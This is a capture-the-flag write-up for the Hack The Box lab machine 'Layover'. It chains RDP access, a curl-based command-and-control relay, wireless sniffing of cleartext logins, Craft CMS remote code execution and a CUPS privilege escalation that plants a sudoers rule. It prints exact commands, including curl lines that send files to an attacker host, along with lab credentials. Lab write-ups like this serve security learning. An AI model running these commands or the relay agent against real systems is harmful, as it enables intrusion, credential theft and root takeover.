HTB Layover Writeup
A concise, practical walkthrough of the HTB Layover machine. It is a chain of pivots rather than a single exploit: RDP into a jump host with no usable clipboard, build a command relay over HTTP to get a real shell, sniff an open wireless network for cleartext credentials, pivot into an internal Craft CMS instance for RCE, decrypt a stored mail-relay password, and finish with a CUPS local privilege escalation. Exact commands, the reasoning behind each pivot, and the places where the published PoC had to be abandoned are all recorded below.
Target: Layover.htb (10.129.71.182)
Contents
- Overview
- 1 Recon
- 2 RDP entry and command relay
- 3 WiFi capture
- 4 Craft CMS RCE
- 5 Environment secrets
- 6 User flag
- 7 Root via CVE-2026-34990
- 8 Cleanup
- 9 Credentials summary
Overview
The attack chain in one table:
| # | Step | CVE / technique |
|---|---|---|
| 1 | RDP as contractor, reach the jump box airside-ws01 | — |
| 2 | Command relay over HTTP through the jump box (no shell on the RDP host) | — |
| 3 | Join open SSID HTB International WiFi, capture cleartext HTTP on channel 6 | — |
| 4 | Recover jenny credentials, log into the Craft CMS control panel | — |
| 5 | RCE as www-data on the portal | CVE-2026-44011 |
| 6 | Read .env (CRAFT_SECURITY_KEY), dump htbairways_settings | — |
| 7 | Decrypt the SMTP relay password → aporter | — |
| 8 | Read user.txt | — |
| 9 | Capture a reusable CUPS admin token, then arbitrary root file overwrite | CVE-2026-34990 |
| 10 | Drop a sudoers fragment → root, read root.txt | — |
A structured tree of this writeup for quick navigation:
- 1 Recon
- 1.1 Nmap scan
- 2 RDP entry and command relay
- 2.1 Building a bidirectional channel
- 2.2 Internal addressing
- 3 WiFi capture
- 3.1 Recovering jenny credentials
- 4 Craft CMS RCE
- 4.1 Exploiting CVE-2026-44011
- 5 Environment secrets
- 5.1 Reading
.env - 5.2 Decrypting the SMTP relay password
- 5.1 Reading
- 6 User flag
- 7 Root via CVE-2026-34990
- 7.1 The vulnerability
- 7.2 Deviation from the published PoC
- 7.3 Enabling the queue
- 7.4 Overwriting sudoers
- 8 Cleanup
- 8.1 Portal
- 8.2 Jump box
- 8.3 Two mistakes worth recording
- 9 Credentials summary
1 Recon
1.1 Nmap scan
A full TCP sweep returned only SSH and RDP, confirming RDP as the intended entry point:
1
nmap -sT -sV -sC -p- --min-rate 2000 -T4 -oA scans/all-tcp Layover.htb
1
2
3
4
5
6
7
Nmap scan report for Layover.htb (10.129.71.182)
Host is up (0.17s latency).
Not shown: 58457 closed tcp ports (conn-refused), 7076 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.19 (Ubuntu Linux; protocol 2.0)
3389/tcp open ms-wbt-server Microsoft Terminal Service
Service Info: OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
A targeted pass with RDP-specific scripts confirmed NLA was available:
1
2
3
nmap --privileged -Pn -p22,3389 -sV \
--script ssh-hostkey,ssh2-enum-algos,rdp-enum-encryption,rdp-ntlm-info \
-oA scans/targeted Layover.htb
1
2
3
4
5
6
7
8
9
10
11
3389/tcp open ms-wbt-server Microsoft Terminal Service
| rdp-enum-encryption:
| Security layer
| CredSSP (NLA): SUCCESS
| CredSSP with Early User Auth: SUCCESS
| Native RDP: SUCCESS
| RDSTLS: SUCCESS
| SSL: SUCCESS
| RDP Encryption level: High
| 128-bit RC4: SUCCESS
|_ RDP Protocol Version: RDP 5.x, 6.x, 7.x, or 8.x server
Credentials contractor / Contractor2026! land a session on airside-ws01.
2 RDP entry and command relay
2.1 Building a bidirectional channel
The RDP host has no xclip or xsel, and the clipboard is effectively one-way, so OCR of the framebuffer is far too lossy to work with. Instead of fighting the GUI, a bidirectional command channel was built:
scripts/outbox.py— HTTP relay on the attacker box: a per-host command queue, a result sink, and a read-only file server.serve/agent.sh— dependency-free polling agent (curlplus coreutils only) that runs queued commands withbashand POSTs the exact output back. The jump box has passwordless sudo, so the agent also writes ac2sudowrapper for non-interactive elevation.serve/fwd.py— TCP forwarder bridging the internal network back to the relay.
Driving commands from the attacker side:
1
2
scripts/c2.py -H airside-ws01 run 'ip -br a'
scripts/c2.py -H portal run 'id' # the Craft host, once compromised
2.2 Internal addressing
Addressing learned from the jump box:
| Host | Addresses |
|---|---|
airside-ws01 (jump box) | eth0=10.159.143.45, wlan2=10.13.37.182 |
portal (Craft CMS) | 10.13.37.10 |
| attacker workstation | 10.10.15.12 |
3 WiFi capture
3.1 Recovering jenny credentials
wlan2 joined the open SSID HTB International WiFi, and wlan3 was put into monitor mode on channel 6:
1
2
3
4
5
sudo ip link set wlan3 down
sudo iw dev wlan3 set monitor otherbss
sudo iw dev wlan3 set channel 6
sudo airmon-ng start wlan3
sudo tcpdump -i wlan3 -w /tmp/cap/channel6.pcap
The internal Miles portal is plain HTTP, so credentials cross the air in cleartext:
1
POST /miles/login.php username=jenny password=Fl1ghtDeck2026!
jenny / Fl1ghtDeck2026! also authenticates to the Craft CMS control panel at http://portal.international.htb/admin (Jenny Crawford).
The capture is preserved at scans/channel6.pcap (6.2 MB, 802.11/radiotap, sha256 d7b3f7c8858ef826c9325b76a2a40efdef70a2eedcd359eabe658282234da601).
4 Craft CMS RCE
4.1 Exploiting CVE-2026-44011
serve/craft_rce.py drives Craft’s element-search behaviour, injecting a PHP expression into a template-rendering context.
A detail worth recording: the gadget does not support shell metacharacters directly. It was used as a file-write and file-read primitive instead:
1
2
3
4
# write
curl -s -G -o /tmp/x http://attacker/x --data-binary 'seed'
# read
curl -s --data-binary @/tmp/x http://attacker/
A full shell was then obtained by staging serve/agent.sh through that primitive. Some requests returned HTTP 500 while still executing, so status codes were never treated as success indicators — the relay’s own output was used as the source of truth.
Once the agent was in place, agent.sh ran as www-data on portal.
5 Environment secrets
5.1 Reading .env
/var/www/portal/.env:
1
2
3
4
CRAFT_SECURITY_KEY=IGckihiFK64_lrSgJJ6QLkiPz-ow13Lr
CRAFT_DB_USER=craftuser
CRAFT_DB_PASSWORD=CraftDB_pw_2026
CRAFT_DB_DATABASE=craft
Stack: Craft Solo 5.9.8, Yii 2.0.54, PHP 8.3.6, MariaDB 10.11.14.
The htbairways_settings table stored the mail relay account, with the password encrypted using that key:
| Setting | Value |
|---|---|
mailRelayHost | mail.htbairways.htb |
mailRelayPort | 587 |
mailRelayUser | aporter |
mailRelayPassword | (encrypted) |
5.2 Decrypting the SMTP relay password
serve/decrypt_relay.php bootstrapped the Craft application and called yii\base\Security::decryptByKey() with the real security key, recovering:
1
aporter / Skyp0rt_Relay!26
6 User flag
sshpass was available on the jump box, so the pivot was a direct SSH hop rather than an interactive session:
1
sshpass -p 'Skyp0rt_Relay!26' ssh aporter@10.13.37.10 'cat ~/user.txt'
1
503*****************************
7 Root via CVE-2026-34990
7.1 The vulnerability
CUPS 2.4.16 is the local service to abuse. The chain has three parts:
CUPS-Create-Local-Printer(IPP0x4028) is not in the admin-authenticated operation set, so under the stock config it falls through to the permissive<Limit All>block. Any local user may register a queue with an arbitrarydevice-uri.- Pointing that
device-uriat a listener we control makescupsd’s background validation thread connect to us. Because the peer is on loopback and the challenge is the privileged@SYSTEMone, libcups sendsAuthorization: Local <token>— a reusable admin token. - Printing to a queue whose
device-uriis afile:URI makes the root-owned scheduler open that path withO_WRONLY|O_CREAT|O_TRUNC— an arbitrary root file overwrite.
7.2 Deviation from the published PoC
The advisory’s PoC stages the file: URI through CUPS-Create-Local-Printer, then races printer-is-shared=true against the background validation thread, on the assumption that the admin path rejects file: device URIs when the FileDevice policy is disabled.
On this target neither half of that holds, verified directly:
CUPS-Create-Local-Printerreturnsserver-error-device-error(0x0508) for afile:device URI, so the temporary-queue stage never stores the URI.error_logshows:Returning IPP server-error-device-error for CUPS-Create-Local-Printer (ipp://127.0.0.1:631/) from localhost.- The admin add/modify path accepts a
file:device URI and persists it:
1
lpstat -v
1
device for <name>: ///etc/sudoers.d/aporter-pwn
Since the race cannot succeed when the create stage is rejected outright, it was dropped. The overwrite is driven directly through the admin path, which is both simpler and not timing-dependent.
A faithful port of the race was still tried first, 25 attempts, and failed 25/25. The tell was in lpstat -v: every raced queue had reverted to device for pwnNNNN: ///dev/null, because CUPS-Create-Local-Printer had failed and the subsequent add/modify created a default /dev/null queue. The captured token itself was fine all along — CUPS-Get-Printers with it returned 0x0000 and 172 KB of printer data. The flood of Local authentication certificate not found lines in error_log was a red herring: those came from the unauthenticated print-job requests, not from the admin ones.
7.3 Enabling the queue
A freshly added queue lands in disabled / reason unknown and its jobs sit pending forever — the scheduler never writes the file. The queue has to be explicitly accepted and resumed, with printer-state-reasons=none supplied, before the job is drained. Without that the whole chain looks like it is working (add/modify 0x0000, print-job 0x0000) while producing no file at all.
Verification is indirect. The dropped file is created root:root mode 0600 by the scheduler, so aporter can stat it but not read it — read_bytes() raises PermissionError. Success is therefore confirmed by asking sudo for a root shell, exactly as the upstream PoC does. The same applies to /etc/sudoers.d, which is drwxr-x--- root:root and not even listable by aporter.
7.4 Overwriting sudoers
1
2
3
4
5
6
7
8
$ sudo -n /bin/sh -c ls -l /etc/sudoers.d/aporter-pwn
-rw------- 1 root root 32 Sep 27 10:24 /etc/sudoers.d/aporter-pwn
$ sudo -n /bin/sh -c cat /etc/sudoers.d/aporter-pwn
aporter ALL=(ALL) NOPASSWD: ALL
$ sudo -n /usr/sbin/visudo -c -f /etc/sudoers.d/aporter-pwn
/etc/sudoers.d/aporter-pwn: parsed OK
$ sudo -n /bin/sh -c id
uid=0(root) gid=0(root) groups=0(root)
Root flag:
1
sudo -n cat /root/root.txt
1
bcd*****************************
8 Cleanup
8.1 Portal
/etc/sudoers.d/aporter-pwnremoved;sudo -n -lrequires a password again.- All print queues deleted (
lpstat -a→No destinations added). /var/www/portal/storage/decrypt_relay.phpremoved from the webroot.- Craft-phase staging removed from
/tmp:_c2up.b64,agent.sh,agent2.sh,agent3.sh,c2/,fetched.sh,probe.out,probe2.out,touched_px-touch-tmp. - Root-owned scheduler output
/tmp/verify-*,/tmp/aporter-write-test,/tmp/cups_privesc_child.pyremoved while the sudoers rule was still live —/tmpis sticky, so they could not be deleted afterwards. /home/aporter/workremoved; home contains only dotfiles anduser.txt.
8.2 Jump box
- File server (
:8000, was running as root) and TCP forwarder (:9001) killed. /tmp/serveand/tmp/capremoved (capture preserved locally inscans/).wlan2disconnected fromHTB International WiFi;wlan3returned from monitor mode to managed;nmcli radio wifi→disabled.- C2 agent killed and
/tmp/c2,/tmp/agent.shremoved via a delayed self-destruct, so the teardown’s own confirmation was still delivered. The relay was then probed with a fresh command tag; it was queued and never consumed (8 polls, all404), proving the agent was gone.
The attacker box had its relay (outbox.py :9000) and Xvfb :99 stopped, leaving nothing listening on 9000/9001/8000. outbox/ retains the tagged command/result log as an audit trail.
8.3 Two mistakes worth recording
sudo -non the jump box is not passwordless; elevated commands there go through the/tmp/c2/c2sudowrapper, which supplies the password. Callingsudo -ndirectly failed and the root file server survived the first teardown attempt.pkill -f 'outbox.py 9000'matched the invoking shell’s own command line and killed the shell mid-script. Pattern-based kills need--older-than-style exclusion or, better, an explicit PID.
9 Credentials summary
| Source | Credential |
|---|---|
| Supplied by HTB | contractor / Contractor2026! |
WiFi capture (cleartext miles/login.php) | jenny / Fl1ghtDeck2026! |
Decrypted htbairways_settings.mailRelayPassword | aporter / Skyp0rt_Relay!26 |
Artifacts kept locally — exploit/cups_privesc.py (CVE-2026-34990 exploit), exploit/cups_diag.py (instrumented diagnostics), scripts/ (relay and C2 client), serve/ (agent, forwarder, Craft and decrypt helpers), scans/channel6.pcap (preserved WiFi capture), and loot/.